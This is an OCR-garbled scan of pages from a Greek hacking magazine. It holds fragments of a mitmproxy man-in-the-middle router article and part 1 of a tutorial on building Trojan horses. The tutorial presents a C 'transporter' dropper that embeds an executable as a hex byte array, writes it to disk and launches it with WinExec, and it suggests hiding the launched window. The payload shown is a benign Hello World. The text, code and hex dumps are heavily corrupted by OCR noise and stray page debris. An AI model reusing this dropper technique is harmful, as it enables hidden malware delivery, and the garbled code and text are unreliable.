нас ελ Όση фра το mitmproxy τρέχει, πατήστε τον συνδυασμό πλήκτρων [SHIFT+7] για χρήσιμα 
2 iator шы | keyboard shortcuts που афоробу στις δυνατότητές του. Θα δείτε, TX. ότι τις ροές έχετε 
simu προφίλ тп δυνατότητα να τις αποθηκεύετε σε αρχείο, το οποίο αργότερα θα ανοίγετε εἴτε µε то 
а ; ЕС. ἴδιο το mitmproxy (παράμετρος -η εἴτε µε το εργαλείο mitmdump (ξανά παράμετρος. -η. 
Φυσικά, το αρχείο ñ τα αρχεία µε τις ροές μπορείτε να τα μεταφέρετε σε ἄλλον 

υπολογιστή καὶ να τα εξετάζετε εκεί, µε την ησυχία σας, όποτε σας βολεύει 


бады Мохе 
1ο: 


Τέλος, να πούμε αντί για το mitmproxy μπορείτε, εναλλακτικά, να χρησιμοποιείτε το 
mitmdump. Για παράδειγµα, σε ένα screen τρέξτε το πρόγραµµα κάπως ἔτσι: 


subegmitnrouter:=$ mitndump -T --host -w FLOWS 
Αργότερα, το αρχείο FLOWS θα το ανοίξετε μέσα από то mitmproxy wç εξής: 


тю subogmiterouter:=$ mitmdump -r FLOWS 


ὅσα 110100 
Ωστόσο ντο) 


кри 
emsa vai В 


Auroperomoínon 

Προηγουμένως ενεργοποιήσαµε το ΝΑΤ για το WAN 
είναι μόνιμη: Μετά από reboot δεν θα wxi 
αντίστοιχο κανόνα για το iptables. Το ίδιο (с 
transparent proxying. Ένας τρόπος 

την εκκίνηση του Ubuntu, εἶναι 


$иреётїхтгошсеп:=$ 


мих коў 
voy Тс бе 
да опоны 


ΕΠ 


Addenda } екан 


TO Kali με WiFi, στο 


Posted by. 


15/06/2013, 2233 Πίνακας Ελέγχου, 


Προφίλ στα forum 


PenTest Lab 


Published in 


Δισχείριοη λογαριασμο, 
Αποσύνδεση 


Ubuntu Мітм Router 


Posted by 
05/06/2013, 2200) ғаны, 
lished in 


την ы ads үн Speis 


байла я ο. α πώς φι — 
кош. Ж, фу, κα το о Ж тот με 6 Ў a 
д υπόσταση. ы μα το ороз w έτοι и e r 


αφηρημένες WOT 


foose Na 05 ыт, AENG дов W Tim 
Ж we * е Capsule yta 


ж οποίο ӨФӨ рея ο ον το Еге 
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ς a анде ings Edition өтә 96008/2013,1632 „гееВѕр σας 

ұтыс» rning: snel] saa 

е 41 - ΜΙΣΟ — ма δα еее σᾶς εἰδιαφέρε, A 


της Apple, j σα πιθανό. 
καθώς κ 4 л Άρθρα 
@ na олоро ye a ато rpomoea Ае; м Шы atuma 
“ OSX Διαβάστε 913992 Ότο gm 


еттт "рот Swi 
РФ зс, και ү еа 


blade: το 
Әлемі 


Θαμπορουσον 
μενα x 


Raspberry р: 


Posted by 
subzraw στ 

там ато зуу оце 

οἱ ehe week езі news & tnig 


Καλησπέρα өдіс uç. O, 


φιλοξενούµε. 
24 010 deltaHacker 013 προ, 
"αρουσιάι 


епу Р, (оош µεταξύ, 


ο πινώντας απά τη 


ἆ του σε келү, Mapaynwia: 2 
3 БТ) 2470влодз 


τρίτο ото atla, 
2 4130 uyeless нен 
е week ντ δ links of 


Πλήρη άρθρα που συμπληρώνουν το περιοδικό [addenda]. To video 
podcast [netcasting > deltaCast]. Άρθρα που µας ήρθε να γρά- 
poupe, έτσι, απλά [/dev/random]. Τα προκλητικά mind hacks. 
Τα βίντεο από τα προηγούμενα live streams [netcasting > 
ἀθ]{α5δίγθαπ]. Ολόκληρα blasts from the past [bftp] Τα πάντα 
ενδιαφέροντα forums. Το σημείο συνάντησης για τους φίλους του 
περιοδικού. 


deltahacker.gr 


Αληθινό, διασκεδαστικό hacking για όλου 


Skill: Intermediate 
Tags: Virus, Trojan Horse, object file, string array, string termination 


by Thiseas 


Μελέτη και κατασκευή Δούρειων Ἰππῶν [μέρος 1] 


Τι εἶναι οι ιοί και σε ті διαφέρουν апо τους Δούρειους Ίππους ἡ 
αλλιώς Trojan Horses; Σε αυτὀ το άρθρο ξεκαθαρἰζουµε тїс ἐννοιες, 
αλλά µη νομίζετε өті περιοριζόµαστε σε θεωρητικὲς αναλύσεις. Πολύ 
περισσότερο, κατασκευάζουµε τα прота µας Trojan Horses! 


210010100010....4. 100 1011. 20111” 1111{ 311000 1010071001111010111110000010 110110100010100( 
010010100101011111110101011 1400010100101101. 9000: 0101010010000100. 1000( 10110. `“ ^^ .21100101110101000010101001001111100% 
101010110001014%%4001010000110100011000011011100100000194)0101011001011101010... |101011000001011010001111 0011101010, 1100001001100011110100001101010000101,. 
101000000000111: санны, ΡΗΤΟΡΑ 0100001000101111001100111110110111110110010000000011111110101101100001101111101^^ 
(%тлт11110111111101111% |00001010111000010100110000000 01011011100111010000011111011111101110100 
301016 oii a++ = +1000000010000001 *510000100000011101010011 
7000. 1010110 м1 


700110100100000 10: 100110101. - 
11110011100110С LOL 010111000001 0110000 310100000101 
2001010010010100 1000001010010; 200000111. 11011101011 
2000111011017” 10001001111110 2711111010000 117 2010000. 


010111100100 1100100001: 2001001010110. 


101010100111 € 1101101010 1001101007 00001010000 '100 
-41010110110011001000‹. 01. „+00111001101. 0 -001111111100 701. 


0111011110100110001000001. 200112 40001010101100 110101001011 


21110101000 


200110111111011010010100110. 0000110100000000100: 


; ο ані j өне 
+ 1110011. 11111001100001101000000100010 000110110010000110 1 201010 


1011011101010001101010101100011001010011100 ` `. 
31011011111011000С 00110000101000011100110011 
0001110011110110 210010011001011000100101007 
)1011111111011100 ,10110101000110110110010111 
1011101111111000 )10000011001000011101010011 
0111110001000011 20111101000101011110010011 
0011101001101010 10101100110011011100101" 
31000110000011100 .1000100001101110211110‹ 
10101010001110 20 71011111: 1011001 1011000 
0111011000117 111 11101 :001101 ' 00001. яз. 
01001011007: 111 10001011010: оп 
11010; ` 0001101001 απ 
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Ioi και Доуро! Ίπποι: Δύο Васко! αλλά поло διαφορετικοί κἀτοικοι του βασιλείου 
των κακόβουλων προγραμμάτων. Το περἰεργο εἰναι ὁτι πάνω апо τους μισούς συντὰ- 
κτες που γράφουν για την ασφάλεια συστηµάτων, δυσκολεύονται να αντιληφθούν 
αυτή τη διαφορὰ. Έτσι, καταλήγουν να χαρακτηρἰζουν συγκεκριµένα malware ως 
viruses, ενώ στην πραγματικότητα εἶναι trojans και το αντίστροφο. Στη σειρἁ που 
ξεκινάμε µε то парду άρθρο ξεκαθαρἱζουμε ті εἶναι το καθένα, μελετάμε τους πλέον 
διάσημους Δούρειους Ίππους, ενὠ φτιάχνουμε και μερικούς δικούς µας! 


Οποιοδήποτε εἶδος κακὀβουλου προγράµµατος θα μπορούσε να στηριχτεἰ σε Ἔσχε- 
боу% οποιαδήποτε μέθοδο εισβολής στο σὐστημά µας. Επομένως, αν εστιάσουµε 
στο пос εισέρχεται ἑνα κακὀβουλο πρὀγραμµα στον υπολογιστή µας, δεν θα kaTa- 
φέρουμε να то κατατάξουµε µε ασφάλεια σε κάποια κατηγορἰα. Ομοίως, η βασικἡ 
αποστολἠ ενός κακὀβουλου προγράμματος µπορεί να εἶναι οποιαδήποτε κι εξαρτάται 
μόνο апо τις προθέσεις του δημιουργού του. Επομένως, αν εξετάσουμε то αποτέἐλε- 
она апо τη δράση еудс κακὀβουλου προγράµµατος, οὐτε και τότε θα μπορέσουμε 
να το κατατάξουµε µε σιγουριά σε κάποια κατηγορἰα. O καλύτερος τρόπος να ξε- 
χωρίσουμµε τους ιούς апо τους Δούρειους Ίππους, εἶναι να εστιάσουµε σε ορισμένα 
βασικἀ στοιχεία της συμπεριφοράς τους. 


Ioi (Viruses). Ονοµάστηκαν ¿TOI διότι μιμούνται τον τρόπο επιβίωσης ενὸς πραγ- 
ματικού ιού: Πα να επιβιώσουν πρέπει να βρουν ἑνα ἀλλο прдүранна (vav ξενιστή, 
δηλαδή) στο опоіо προσκολλούνται και μέσω αυτού μολύνουν κι άλλα προγράμμα- 
τα. Αυτός εἶναι και о βασικός μηχανισμὀς επιβίωσης και διαιώνισἠς τους. То τι ζημιά 
θα προκαλέσει ἑνας ιὸς όταν ενεργοποιηθεἰ εἶναι ἆλλο κεφάλαιο. Ένας ιὸς μπορεἰ 
να υπάρχει μέσα σε προγρἀμματά µας για χρόνια, χωρὶς να ενεργοποιείται. O npo- 
γραμματιστὴς που τον ἐφτιαξε ἐχει орісі και το μηχανισμὸ ενεργοποίησης алла και 
την αποστολἠ του. Ορισμένοι ενδέχεται να ενεργοποιούνται σε µια συγκεκριμένη 
ημερομηνία (п.ҳ., Παρασκευἠ και 13), 
ενὠ κάποιοι ἄλλοι ενδἐχεται να ενεργο- 
ποιούνται каб φορά που εκτελείται то 
πρὀγραμμα που τους φιλοξενεί (ο εκά- 
στοτε ξενιστἠς). 


Microsoft Visual Studio 2008 

@ Microsoft Visual Studio 2008 Document 
98 Microsoft Visual Studio 2008 

Visual Studio Remote Tools 


Δούρειοι Ίπποι (Trojan Horses). No- ШЫ Visual Studio Tools 

μίζουμε бт! δεν χρειάζεται να πούμε апо f Dotfuscator Community Edition 

πού προέρχεται το ὀνομά τους (http:// Ë MFC-ATL Trace Tool 
el.wikipedia.org/wiki/AoÚpguocç Ίππος). GA Spy++ (64-bit) 

Πρὀκειται για προγράµµατα nou μιμού- 

ута! τη χρησιμότητα του Δούρειου Ἰπ- ЕЙ Visual Studio 2008 Command Promj 
που: Qaivopevikà δείχνουν αθώα —ка! sË Visual Studio 2008 Remote Debugge 

беу αποκλεἰεται να εκτελούν και капога sË Visul Visual Studio 2008 Command Prompt 


εργασίἰα--, ὠστόσο βαθιά μέσα τους кро- 
βουν vav κακόβουλο μηχανισμό. О εν 
λόγω μηχανισμός ενεργοποιεἶται μόνον 
όταν ικανοποιούνται οι συνθήκες που 
ἐχει ορἰσει ο δημιουργὸς του. То τι θα 
κάνει αυτὸς ο μηχανισμὸς και, αν θέλε- 
τε, το πόσο κακὸς εἶναι, εξαρτάται ка! 
πάλι апо τον δημιουργὀ του. Ένας Δού- 
ρειος Ίππος ενδέχεται να ἐχει апо εντε- Еікбуа 1 
λὠς ακἰνδυνη δράση (όπως αυτοί που Θα κάνουμε χρήση του Visual Studio 2008 Pro και 

θα εργαστούμε апо τη γραμμὴ εντολών! 
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R> 32-bit C/C++ Optimizing Compiler Version 15.00.30729.0B1 for 80х86 Е 
<C) Microsoft Corporation. Й11 rights reserved. πα 


«Н> Incremental Linker Version 9.00.30729.B4 
Copyright «οὐ Microsoft Corporation. AlL rights reserved. 


/out:hello.exe 
hello.obj 


> 


Εικόνα 2 
Compile it, baby! :D 


θα φτιάξουμε εμείς), ἑως πολὺ επικίνδυνη (διαγραφἠ αρχείων, παρακολούθηση της 
ὁδραστηριὀτητάς µας, υποκλοπή προσωπικών δεδομένων к.Ап.). 


Πριν προχωρήσουμε, αξίζει να αναφέρουμε ὁτι υπάρχουν και κακόβουλα προγρἀμ- 
рата που συνδυάζουν τη «φύση» των δύο παραπάνω: Φανταστείτε vav Δούρειο 
Ίππο, του οποίου ο κακὀβουλος μηχανισμὸς εἰναι ιός! Σε αυτήν την περίπτωση, то 
πρὀγραμμα-περιτύλιγμα του Δούρειου Ίππου ενδέχεται να λειτουργεί κανονικά κι 
εντελώς αθώα για πολύ καιρὀ, έως ὁτου κάποια στιγµή ενεργοποιηθεί о κακόβουλος 
μηχανισμός του. Τότε, ο ιὸς που κρύβεται μέσα του θα εκδηλωθεί και θα αρχίσει 
να μολύνει та εκτελἑἐσιµα αρχεία του υπολογιστή! Ενδιαφέρον δεν ακούγεται; Μην 
πείτε ὀχι! 


Ἐχοντας ξεκαθαρίσει το Tonio, μπορούμε να προχωρήσουμε στο ψητό: Στη δηµιουρ- 
yia του πρώτου µας Trojan Horse! Σε αυτό το σηµείο πρέπει να ξεκαθαρίσουμε От! 
δεν θα ασχοληθούμε καθόλου µε τον тропо που éva Trojan Horse ξεγελάει κἄποιον 
χρήστη, προκειµένου να εισέλθει στο σὐστημὰ του. Αυτό αποτελεἰ µια εντελώς δι- 
αφορετικἠ ιστορἱα και, αν θέλετε να μάθετε περισσότερα, µπορείτε να ρἰξετε µια 
рата στο ἀρθρο пері client side attacks, στο deltaHacker 004. 


Περίπτωση 1: Δοκιμή µε δικὀ µας πρόγραμμα 


Προσέξτε τι πρὀκειται να κάνουμε: Αρχικά θα κατασκευάσουµε éva апло проүрарра 
σε C++, то οποίο δεν θα κάνει τίποτα το ιδιαίτερο και σίγουρα τίποτα како. Σηµειώ- 
στε дті αφού το μεταγλωττίσουμε, θα κρατήσουμε μόνο то τελικὀ εκτελἑἐσιµο. Στη 
συνέχεια θα φτιάξουμε ἑναν Δούρειο Ἰππο', ο οποίος θα μεταφέρει AUTÒ το EKTE- 
Лоро! Όταν εκτελείται то Trojan Horse, θα φυτεύει στο δίσκο του υπολογιστή то 
απλὀ προγραμματάκι µας και θα το εκτελεί! Ας ξεκινήσουμε µε ἑνα απλὀ κι αθώο 
πρὀγραμμα, λοιπὀν: 
// hello.c 


// Sometimes I believe that ту compiler ignores ALL my... comments! ;) 


// 
#include <stdio.h> 


1. Που va ñšgpg о Οδυσσέας ότι μερικὲς χιλιάδες χρόνια µετά, o Δούρειος Ίππος του θα συνέχιζε να επιβιώνει σε С++! 
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void main(void) 


( 
ргіпеҒ("Не110 World!Nn'); 


) 


Όπως καταλαβαίνετε, το παραπάνω проүраџџа εμφανίζει στην οθὀνη το γνωστὸ 
«Hello World!>. Πα τη µεταγλὠττισή του θα εργαστούμε µε τον παραδοσιακὀ τρόπο, 
απὀ τη γραμμή εντολὠν! Εμεἰς χρησιµοποιήσαμε то Microsoft Visual Studio 2008 
Professional, αλλά µε οποιονδήποτε аллоу compiler θα ἐχετε τα ἰδια αποτελἑσµατα. 
Καλούμε το command line μέσω της C++ (εικόνα 1) και παράγουμε το εκτελέσιμο 
(εικὀνα 2). Μετά την παραπάνω διαδικασία θα προκύψουν στο δίσκο µας δύο νέα 
αρχεία: Το ёха θα ἐχει την κατάληξη OBJ (object file) και θα περιέχει τη δυαδικἠ 
αναπαράσταση των εντολὠν του πηγαίου κώδικα, ενώ то ἆλλο θα ἐχει τη γνώρι- 
μη κατάληξη EXE και θα αποτελεἰ το εκτελέσιμο πρόγραμμα! Αυτό το εκτελέσιμο 
εἶναι το «φορτίο» (payload) που θα μεταφέρει ο Δούρειος Ίππος µας. Παρεμπιπτὀ- 
ντως, ακριβώς επειδἠ θα μεταφέρει κάτι, θα ονοµάσουµε τον Δούρειο Ίππο µας 
<Transporter>. 


Πριν σηκώσουμε τα µανἰκια κι αρχίσουμε να γράφουμε κὠδικα, πρέπει να λύσουμε 
ἑνα ζήτημα: Пос θα στριμὠξουμε ἑνα ολόκληρο εκτελἐσιµο πρὀγραμµα µέσα στον 
πηγαίο κὠδικα ενὸς ἄλλου προγράµµατος; То һе!о.ехе αποτελεί το προϊόν της pE- 
ταγλὠττισης του һе!о.с. Συγκεκριμένα εἶναι το hello.obj, επαυξηµένο µε ορισμένες 
εντολὲς του λειτουργικού συστήματος οι οποίες φροντίζουν για την εκτἐλεσή του 
(δἐσµευση μνήμης, αἰτηση για δημιουργία του process к.о.к.). Με λίγα Лӧүа, то 


[=] x | 
= [mix 
Open "CAHA\Docs\Publications\DeltaH. sss." 
Format » 
м) Undo Ctrl+Z 
© Redo Ctrl+Y 
ὃν Cut сш+х 
Ез Сору Ctrl+C 
(5 Paste Ctrl+V 
dB) Paste & Сору Ctri+Shift+V 
ЎЎ Cut δι Append Ctrl+Shift+X 
2% Сору & Append Ctrl+Shift+C 
Ba Copy File Path/Name 
Clipboards , 
ВА Find Ай+ЕЗ 
5, Replace Ctrl>R 
Incremental Search Ctrl+Shift+I 
Select All Ст+А 
: а Select Line 
00000120h: о 0 o πα 0 Select Word σης 
00000130h 0 o т 
00000140h o0 па 00 О ËP Select Range 
000001503 o оо оо оо по o o š Delete К 
в0000160Һ: 0 0 o πη 00 ШЕ отте F7 
00000170h 0 
00000180h: 00 00 о 00 0 oo па ШІ Hex Edit ст+н 
0600190 Д ΒΕ ἐν 29 Ж Hex Insert/Delete... сш+р 
пап ап» Hex Сору Selected View 
000001b0h: 2 
000001с0һ: o 0 00 0 I Check сш+К 
000001d0h 74 6 7 ε Уза 
000001e0h: o 0 00 сор 53 Read Only 
a ЕЕ Toggle Word-Wrap Ctrl+*W 
Copy selected Vi Pos: 0H, 0, СО 


....... 


Εικόνα 3 
Αρχικά, αντιγράφουµε ολόκληρο τον κώδικα του 
εκτελέἐσιµου һейо.ехе... 
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| E) File Edit Search Project View Format Column Macro Advanced Window Help 


hello.exe | Edit1“ | Edit2= 


Пева заа | | @|[Ё|@| αν a 5| 

10 зо 40 50 
00000000h: лї 5д Оп з пп оп ΠΠ ΠΗ ΠΠ ΠΠ ΠΠ ΠΠ оо 
00000010h: п 00 пп пп 00 40 00 
0000002 0h: 00 ΠΠ 00 00 00 
o0000030h: о о па ΠΠ пп 
ΠΠΠΟΠΠ4ΠΗ: 
o0000050h: 


σι = 


із program canno 
o0000060h: : t Бе гип іп роз 
o0000070h: ‚ mode.... 
оооооовоһ: 20 25 | > 0 А5 DD AC А5 DD МЕ; Τ'Λδ.. 
пайааазоһ: ғ ù h й : 

паоаййайы: 
000000b0h: 
оооооосоћ: 
пайаайайа: 
ππ3ππππεΏπα: 
пайпоаойтав: 
00000100h: 
00000110h: 
00000120h: 
000001301: 
ооооо140Ћ: 
0000150: 
000001601: πι η 
в0000170Һ: [а] 00 πη 
00000180һ: ΠΠ ΠΠ оо оо оо о 
00000190h: па ΠΠ ΠΠ оо оо оо 
поооо1айы: 4 ап пп 00 00 
00000 ib0h: а A 0 πι ΠΠ ΠΠ ΠΠ 
000001с0һ: ΠΠ ΠΠ пп πα пп 
ооооо1аоћ: ? ? а 00 πη оо 8 
вв00001ейв: оо оо оо 04 0 о оо ооо 


AD о ασ σα ο гн 
[= Ін 


FE EF E F E FEP kL 
σι πα Q N P о 


Γὰ 
о 
OIG 


м 
P 


м 
ы 
ра) 


м 
[а] 
[ΕΠ 


ым» 
іл № 


м 
σι 


№ 
~] 


{Ξε 
=, 


Ln 3008, Col. 59, СО ; Mod: 27/5/2013 9:2210μμ 


Εικόνα 4 

Тора аутгүрафоцинцє μόνο то 16δικὀ τμήμα ка! 
Ох! την αναπαράσταση του σε εκτυπώσιµους 
χαρακτήρες (printable characters). 


περιεχόμενο του hello.exe σχετίζεται απειροελάχιστα µε τον nnyqio κὠδικα. Mno- 
ρούμε άραγε να το χρησιμοποιήσουμε ως τµήµα του πηγαίου κὠδικα σε κἄποιο ἆλλο 
πρόγραμμα; Εδώ αρχίζει και аҳуофаіуєта η διαφορά του hacker απὀ ἑναν απλὀ 
προγραμματιστή, που θα δήλωνε µε ενθουσιασμὀ кайт! τέτοιο: «Ξέρω C++! Έκανα 
6 μήνες στη σχολἠ κι ἐχω φτιάξει και πραγματικἁ προγράμματα! Πήρα ἀριστα στις 
εξετάσεις!». О φίλος µας, στο ερὠτημά θα απαντούσε κάπως ἑτσι: «Φυσικά και δεν 
γίνεται! Άλλο то Code Segment κι ἆλλο то Data Segment... δεν μπορεἰὶς να ауакате- 
ψεις αυτά τα δύο». Ένας праүратікос̧ hacker, ὁμως, θα ανταπαντούσε: «Χμ, μήπως 
μπορεὶς;» 


Ὅπως εἰπαμε, το εκτελἑἐσιµο αποτελείται κυρίως апо τη δυαδικἠ αναπαράσταση των 
εντολών µας (апо εντολὲς σε γλὠσσα μηχανής). H λύση στο παραπάνω πρὀβλημα 
εἶναι να βρούμε ἐναν τρόπο να μεταφέρουμε αυτὲς τις εντολὲς σε κἄποιον πἰνακα 
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Format Column Macro Advanced Window Help BE 


hello.exe [ Ейї1* Edit2* 


65 | заваа = mim) Φ| x = | τ] ΕΙ El El El| 48 % 


50, 


πα 00 
00 00 
00 00 
ОЕ B4 
70 6F 
65 72 
65 ор 
Еб 01 
А5 01 
А5 01 
А5 01 
68 01 
00 00 
51 00 
00 ВА 
00 10 
00 02 
πα 00 
πα 00 
00 10 
00 00 
00 00 
00 00 
00 00 
00 00 
00 00 
πα 01 
πα 00 
78 00 
00 04 


AD σι (πα омы 


мо Ñ Ñ N Ñ EE F EE i E F F F k= 
m ы N P O Ὁ © - σι m ж» огу ҥе 5 


ыы 
- σι 


— | 
Ln 1, Col.3, СО Mod: 27/5/2013 9:23:28μμ File Size: 153406 


Εικόνα 5 
Αυτοί εἰναι οι δεκαεξαδικοί αριθμοί που πρέπει уа 
βάλουμε στον піуака µας. 


μέσα στον πηγαἰο κὠδικα, και σε µια δεδομένη στιγμὴ να тіс μεταφέρουμε пал! στο 
δίσκο, µέσα σε ἑνα νέο αρχείο EXE. H θεωρία µας εἶναι πολύ ωραία. Αλλά αυτὸς 
που κατέχει την ουσία εἶναι αυτὸς που υλοποιεί τη θεωρία κι όχι αυτὸς που την πε- 
ριγράφει! Πώς θα αντιγράψουμε τον δυαδικὀ κὠδικα του εκτελέἑσιµου µέσα σε ἑναν 
піуака του πηγαίου κὠδικα; E, λοιπὸν, αυτὀ το πρόβλημα θα το λύσει ἑνας 16δικόὸς 
editor! Εμεἰς χρησιμοποιήσαμε το γνωστό Ultraedit (http://www.ultraedit.com). О 
UltraEdit εἶναι γνωστός στις τάξεις των προγραμματιστῶν ως ἑνας απλὀς text editor. 
Στην πραγματικότητα όμως ἐχει πολλὲς περισσότερες δυνατότητες και λειτουργεί κι 
ως ἄριστος Hex Editor! H μέθοδος που θα ακολουθήσουμε εἶναι η εξἠς: Ανοίγουμε то 
hello.exe σε 16δικἠ μορφή (µε τον hex editor) κι αντιγράφουμε όλα τα περιεχόμενα 
του. Αυτά τα κἄνουμε paste μέσα στον ппүаіо κὠδικα του transporter.c και συγκε- 
κριµένα μέσα σε ёха character array. Ас δούμε пос γίνονται όλα αυτά... 
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Στην εικόνα 3 ἐχουμε ανοίξει то єктєАёсїно. Αρχικἁ κάνουμε Select All [Сїгї+А] κι 
αντιγράφουμε τον κὠδικα στην δεκαεξαδικἡ του μορφή, µε την εντολἠ «Hex Сору 
Selected View». Αυτή η εντολή θα αντιγράψει και τον κὠδικα αλλά *ка* την ava- 
παράσταση του, σε апло κείμενο. Όπως αντιλαμβάνεστε, ὁμως, εμεἰς θἐλουµε µόνο 
τον κὠδικα. Па το λὀγο αυτό, ανοίγουμε µε τον editor èva νέο αρχείο και κἄνουμε 
Paste αυτά που μόλις αντιγράψαμε (εικόνα 4). Апо ауто το δεύτερο αρχεἰο αντιγρά- 
poupe μόνο το 16δικό τµήµα και ὀχι την αναπαρἀστασή του. Στη συνέχεια ανοίγουμε 
κι ἑνα τρίτο αρχείο και κάνουμε πάλι paste (εικόνα 5). Тора, μένει ἑνα βαρετὀ алла 
поло σημαντικὀ βήμα: Πρέπει να μορφοποιήσουμε αυτούς τους 16бікойс αριθμούς 
κατὰ τέτοιον τρόπο, ὥστε να μπορούν να εισαχθούν μέσα σε Еуа character array. 
Βασικά, το ζητούμενο εἰναι να βάλουμε μπροστὰ апо κάθε αριθμό τους χαρακτήρες 
Хх, που στη C++ αποτελούν την ἐνδειξη ότι ακολουθεί αριθμός στο δεκαεξαδικὀ. 
Τέλος, κλείνουμε όλα τα δεδοµένα μέσα σε εισαγωγικἁ, για uq μπορέσουμε να та 
δηλώσουμε ως δεδομένα ενὸς πἰνακα. Μετὰ апо όλα αυτά, εἰμαστε πλέον ἐτοιμοι να 
γράψουμε τον κὠδικα του transporter, του πρώτου µας Δούρειου Ίππου: 


// transporter.c 

// when you've got а hammer everything starts Το look like а nail 
// @ by thiseas 27/05/2013 
ΜΜ ЕЕЕ ЕЕ 

#include <stdio.h> 

#include <windows.h> 

char executable[] = 

t 

"NX4DNx5ANx90Nx00Nx03Nx00N Nx00Nx00Nx04NxX00Nx00NXx00NxFFNxFFNx00Nx00" 
"\хВв8\хӨө\хөөв\хөө\хдө\хөе\хөө\хөө\х40\хөө\хөө\хөө\хөө\хөө\хөө\хөө" 
"\хеө\хөө\хөев\хөө\хөө\хөе\хөө\хөө\хөө\хөө\хөө\хөөв\хөе\хөө\хөөв\хөө" 


"\хеө\хөө\хөев\хөө\хөө\хөе\хөө\хөө\хөө\хөө\хөө\хөө\хөө\хөө\хөөв\хөө" 
"\хеө\хөө\хөөв\хөө\хөө\хөе\хөө\хөө\хөө\хөө\хөө\хөөв\хөө\хөө\хөев\хөө" 
"ΝΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΛΑΧΘΘ" 
ΒΝΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΙΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΧΘΘΑΙΧΘΘ" 
}; 
int main(void) 
( 

int i, 1еп1 = sizeof(executable); 

char sName[100@], sAns[10]; 


ΕΠΕ ΡΕ» 
ptr = fopen(".NNTheDirtyExe.exe", "wb"); 
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for (1=0; 1<1еп1-1; i++) 
fprintf(ptr, "%c",executable[i]); 


fclose(ptr); 
WinExec("TheDirtyExe.exe", SW_SHOW); 


return 0; // Return even a constant value. Respect the 
Operating System! 


) 


Το прото праүна που κάνει το прбүранна εἶναι να γράφει τα περιεχόμενα ενὸς 
πίνακα στο δίσκο. Αυτός ο πίνακας όμως περιέχει τον κὠδικα του εκτελἐσιµου про- 
үрарратос̧ µας. Προφανώς, αυτό εἶναι каті που δεν γνωρίζει η C++ κι εννοείται От! 
της εἶναι παγερἀ αδιάφορο! Τα περιεχόμενα του πίνακα γράφονται σε ἑνα αρχείο που 
ονομάζεται (όλως τυχαίως) «ТһерігіуЕхе.ехе» και то οποίο εἶναι κατάλληλο για τη 
Φιλοξενία binary data. Αμέσως μετά, το πρὀγραμμὰ µας ενεργοποιεἰ το εκτελἑσιµο 
που μόλις δημιούργησε, µε τη βοήθεια της συνάρτησης У/іпЕхес(). Σε αυτήν τη 
συνάρτηση, δώστε βάση στην παράμετρο SW_SHOW. Αυτή σηματοδοτεί την єктё- 
λεση του προγράµµατος σε ёха ορατὀ για τον χρήστη παράθυρο. Λέτε να υπάρχει 
και κάποια ἄλλη παράμετρος, π.χ., σαν την... 9Ν ΗΙΡΕ; Αναρωτιόµαστε γιατί, όπως 
αντιλαμβάνεστε, αν φτιάχναμε Еуау πραγµατικἀ ὑπουλο Δούρειο Ίππο, δεν θα θἑλα- 
µε να γίνεται αντιληπτή η εκτἐλεση του κακὀβουλου προγράµµατος. Και μετά απὀ τα 
παραπάνω, ἐφτασε η μεγάλη στιγµή: Μεταγλωττίζουμε και τρέχουμε το transporter 
(εικὀνα 7). 


Μόλις εκτελεστεἰ το πρόγραμμα θα δούμε στην οθόνη µας αυτὸ που θα βλέπαμε 
αν εκτελούσαμε το һе! о.ехе. Την ἴδια στιγµή στο δίσκο µας θα ἐχει δημιουργηθεί 
va vo εκτελέἐσιµο, µε το ὀνομα TheDirtyExe.exe. Αν συγκρίνετε το µἐγεθος του 
TheDirtyExe.exe µε εκεἰνο του hello.exe θα δείτε бт! εἶναι ακριβώς ἴδια (εικόνα 8) — 
όπως και το περιεχόμενό τους. 


[(Φ) UltraEdit-32 - [Edit2" CCEA) 
E) File Edit Search Project View Format Column Macro Advanced Window Help Ë | a| x 
> [helo.exe | εάν” Edit2* | | 
[-»18668Β|8988|8|5|8|Β| Φ| αν 5ο δ! ІБЕГІТГЕ 
а 10 20 зо ас 50 60 70 во 


\х £= 
πὶ ΧΒΒῚ x00) x00) x00) x00} хоо\ хоо\ хоо\ x40) x00} хоо\ хоо\ хоо\ хоо\ хоо\ хоо" [ү 
πα κο ΧΠΠῚ ΧΠΠῚ καθὶ x00) хо0\ x00) x00) хоо\ x00 хоо\ хоо\ хоо\ хоо\ хоо\ хооп" 
"m x00N хо0\ х00\ х00\ x00) x00) x00) хо0\ хо0\ х00\ x00) x00 хра\ x00 хоо\ хоо" 
тұ ХОЕ\ Χ1ΕΛΧΒΑΛ ΧΠΕῚ κο хВа\ хо9\ хср\ х21\ ΧΒΒΛ κο, хас\ хср\ х21\ х54\х68" 
"\хва\хтз\ και хто\ кт2\ хбЕ\кбт\ απο, хб1\хбр\ καὶ хб3\хб1\хбЕ\хБЕ\хбЕ" 
πα x74 x20) x625 x654 х20\ хт2\ x75 хбЕ\х20\ x694 хбЕ\ х20\ ха4\ хаР\ х53\ х20" 


1 
2 
3 
4 
5 
6 
7 
8 "\хБр\хбЕ\хб4\ хб5\х2Е\ хОр\ хОр\ хОд\ х24\ x005 хО0\ x00) x00) х00\ хОо0\ х00" 


Εικόνα 6 
Πα την εισαγωγἠ των αριθμών σε éva string array, 
χρειάζεται να αλλάξουμε ελαφρώς τη µορφή τους... 
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E Visual Studio 2008 Command Prompt = "= 55 
Setting environment for using Microsoft Visual Studio 2008 x86 tools. 


c:\Program Files <х86>-МісказоҒЕ Uisual Studio 9.0SUC>cd c:S5SHesDocssPublications 
sDeltaHackersH6821._Trojan-INs 3 


c:sHcecsDocssPublicationssxDeltaHackersHB21.Trojan-I 
Microsoft <R> 32-bit С/С++ Optimizinçg Compiler Version w 
Copyright «ο Microsoft Corporation. А11 rights reserved. 


Bi for 80х86 


transporter.c 
Microsoft (Η} Incremental Linker Version 9.00.30729.BDB1 
Copyright <C) Microsoft Corporation. Й11 rights reserved. 


Hout :transporter.exe 
transporter.obj 


c:sHesDəocssPublicationssDesltaHackers#B21._Trojan-I transporter -exe | 
с :sHesDocssPublicationssDeltaHackers#B21 .Ткојап-1 >Не110о World? 


с = “Нс%рос=УРиЬ1ісаёіоп=<ре 1саНаскек<#021 .Ткојап-1 >ІһеВікі уЕхе.ехе 
